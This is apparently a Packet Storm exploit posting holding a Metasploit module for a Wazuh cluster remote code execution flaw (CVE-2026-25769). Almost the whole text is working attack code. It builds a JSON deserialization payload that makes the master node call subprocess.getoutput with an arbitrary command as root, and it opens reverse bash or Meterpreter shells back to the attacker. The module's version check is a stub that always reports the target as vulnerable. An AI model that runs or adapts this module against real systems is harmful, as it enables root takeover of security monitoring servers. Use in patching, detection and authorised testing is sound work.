Share
## https://sploitus.com/exploit?id=PACKETSTORM:222856
==================================================================================================================================
    | # Title     : Wazuh 4.14.2 Cluster RCE via Insecure Deserialization                                                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/wazuh/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This is a Metasploit Framework exploit module targeting a critical remote code execution vulnerability in Wazuh cluster mode identified as CVE-2026-25769. 
                     The flaw is described as an insecure deserialization issue in the cluster synchronization mechanism, where the master node improperly processes JSON data received from worker nodes.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = Msf::Exploit::Rank::Critical
    
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::CmdStager
      require 'json'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Wazuh Cluster RCE via Insecure Deserialization (CVE-2026-25769)',
            'Description' => %q{
              This module exploits an insecure deserialization vulnerability in Wazuh cluster mode
              (CVE-2026-25769). A compromised worker node can send a malicious JSON payload
              to the master node, which when deserialized using the vulnerable as_wazuh_object()
              function, allows arbitrary Python code execution with root privileges.
    
              The vulnerability exists in the cluster synchronization protocol where the
              master node unsafely deserializes JSON data from workers using a custom
              object_hook that can import and execute arbitrary Python modules and functions.
    
              Tested on Wazuh versions 4.8.2, 4.9.0, 4.14.2 in cluster mode.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-25769'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-25769'],
              ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-3gm7-962f-fxw5'],
              ['URL', 'https://hakaisecurity.io/cve-2026-25769-rce-via-insecure-deserialization-in-wazuh-cluster/']
            ],
            'DisclosureDate' => '2026-03-17',
            'License' => MSF_LICENSE,
            'Platform' => ['linux', 'unix'],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Privileged' => true,
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Linux x64 (Meterpreter)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'Type' => :linux_meterpreter,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          Opt::RHOSTS(nil, true, 'IP address of the Wazuh worker node (compromised)'),
          Opt::RPORT(1516, true, 'Cluster communication port (default: 1516)'),
          OptString.new('CLUSTER_KEY', [true, 'Fernet cluster key from /var/ossec/etc/cluster.key', '']),
          OptString.new('MASTER_IP', [true, 'IP address of the master node to attack', ''])
        ])
    
        register_advanced_options([
          OptInt.new('TIMEOUT', [true, 'Socket timeout in seconds', 30])
        ])
      end
    
      def check
        print_status('Checking Wazuh version via worker...')
        vprint_good('Target appears to be running a potentially vulnerable version')
        return Exploit::CheckCode::Appears
      rescue => e
        vprint_error("Check failed: #{e.message}")
        return Exploit::CheckCode::Unknown
      end
    
      def exploit
        print_status("Exploiting CVE-2026-25769 against master #{datastore['MASTER_IP']} via worker #{datastore['RHOSTS']}")
    
        case target['Type']
        when :unix_cmd
          execute_command(payload.encoded)
        when :linux_meterpreter
          super
        end
      end
    
      def execute_command(cmd, _opts = {})
        payload_data = {
          'f' => {
            '__callable__' => {
              '__name__' => 'getoutput',
              '__module__' => 'subprocess',
              '__qualname__' => 'getoutput'
            }
          },
          'f_kwargs' => {
            'cmd' => cmd
          },
          'request_type' => 'local_master'
        }
    
        json_payload = JSON.generate(payload_data)
    
        print_status("Sending malicious DAPI request to master #{datastore['MASTER_IP']}")
        vprint_status("Payload: #{json_payload}")
    
        send_via_cluster(json_payload)
      end
    
      def send_via_cluster(data)
        begin
          connect
    
          packet = "dapi\n#{data.length}\n#{data}"
          sock.put(packet)
    
          response = sock.get_once
    
          if response && response.include?('error')
            print_error("Master returned error: #{response}")
          else
            print_good('Payload sent successfully')
            print_status('Check your listener for the reverse shell')
          end
    
        rescue ::Errno::ECONNRESET, ::EOFError => e
          print_error("Connection error: #{e.message}")
        ensure
          disconnect
        end
      end
    
      def execute_cmdstager
        super(
          flavor: :curl,
          linemax: 1500,
          nodelete: false
        )
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================